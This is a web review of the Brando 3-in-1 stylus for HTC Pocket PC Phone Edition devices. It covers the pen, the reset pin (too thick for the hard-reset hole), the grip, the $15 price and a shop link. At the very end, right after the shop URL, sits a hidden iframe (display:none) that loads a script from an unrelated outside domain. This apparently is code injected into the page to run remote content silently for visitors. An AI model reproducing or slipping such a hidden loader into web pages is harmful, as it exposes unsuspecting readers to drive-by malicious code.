Every once in a while when you are on the road, you need to write something and realize that you don't have a pen to write with. Wouldn't it be cool if your stylus could write like a pen? Well, there are nowadays plenty of multifunction pens for different PDA, but none of them were specifically made for the HTC manufactured Pocket PC Phone Edition (O2 XDA, AT&T Siemens SX-56, T-Mobile Pocket PC Phone Edition, Q-Tek, etc.) ... until now. Brando Workshop has had a series of 3-in-1 stylii for quite a while now, and they are very popular and of good quality They have just released a 3-in-1 stylus for the XDA.
TheBrando stylus is called 3-in-1 because they have:
The Brando 3-in-1 Stylus was well shipped in an air mail bag, and the package came with instructions on how to use it (although you don't really need any instructions on how to use it, unless, of course you don't know how to write!
).
When opening the package, the first impression that I had was "Wow! Is this just like the original!". Well, yeah, it has the same design of the original stylus, the same shape or the orginal, and almost the same color, too. The original stylus has a slight goldish tint, and the new Brando Stylus is all silver. This is such a slight difference that you'd have to have the two side by side to notice it.
One thing that I noticed is that it feels heavier than the original stylus. This is because it holds all the pen mechanism inside resulting in it weighting more. Other than that, you wouldn't know the difference between the Brando 3-in-1 and the original stylus when writing on the Phone Edition's screen. It has a nearly identical feel to it.
To access the pen portion of the stylus, you have to "pop" off the top black cap. I say "pop" because it just pops off, no threads to strip out or break off. To start writing the first time, you have to remove a little clear rubber shipping cap that comes on the tip of the pen.
The pen has a nice feel to it. It is very comfortable despite its size. The ink in the pen is black.
The next part we tested is the reset pin, which is located in the other end of the 3-in-1 Stylus. To access the reset pin, you must unscrew the stylus end. One BIG flaw of this pin, which makes this pin pretty much useless, is that it is too thick!. You can only use it for soft resets, but you can just use the tip of your regular stylus to do that. The pin is too thick to fit into the hard reset hole on my T-Mobile Pocket PC Phone Edition.
This is a big oversite by Brando. I don't know if the XDA, Siemens/AT&T, and Q-Tek have a bigger reset hole. This is something we'll check on with Brando.
After using all three properties of the stylus, it is time to put it in the Phone Edition's silo. It fits perfectly and actually feels like it holds better than the original factory supplied stylus.
Original stylus in silo...
Brando 3in1 in silo...
One other flaw that we found is that the little bump used to pull out the stylus is very smooth and small, requiring a lot of effort to pull the stylus out. This bump should be a little rough, or have ridges so that when your fingers try to pull the stylus out, its easier to catch with your finger. An easy solution is to modify the bump with a Dremmel tool or file. Just slice one or 2 little lines across the bump in the stylus. This will give you the grip to pull out the stylus with ease. Note that the original factory supplied stylus has a similar design, but because this holds a bit better, its slightly harder to remove.
One feature that I think might have been designed better is the way the pen's cap is designed. I would have rather had the pen cap designed just like the reset pin - threaded instead of pop on - since this approach seems more secure. Sometimes it feels when I pop out the stylus from the sylo, that I'm only going to pull out the cap of it, leaving the rest in the silo. But, to have a consistent design with the original stylus, the pen cap had to be made of black plastic. I have had the plastic threads fail on similarly designed pens in the past. Perhaps thats the reason Brando designed it this way.
Conclusion:
Overall this is a very useful stylus. You never know when you need a hand pen - like when you need to write a check, or need to jot down a note. For some the price tag may be a little too steep for a stylus. But some people are willing to pay $100 for a leather case, so why not?
There is a lot of functionality in the Brando 3-in-1 Stylus. I always thought that the stylus/pen combination was a great idea, so I'm up for it. Despite a few little flaws, this is a great stylus, and I highly recommend it.
Pros:
Clean, sturdy design.
Comfortable to use.
Great functionality - Its a pen you can carry everywhere!
Cons:
Reset pin is virtually useless
Plastic grip, erhhhh...has no grip!
Price may be too high for a stylus for some people
Price:
US$15.00
Ink Refill: US$2.00
OVERALL SCORE:
You can buy one right now from Brando from here:
http://shop.brando.com.hk/bwo2xdastylus.php<iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>
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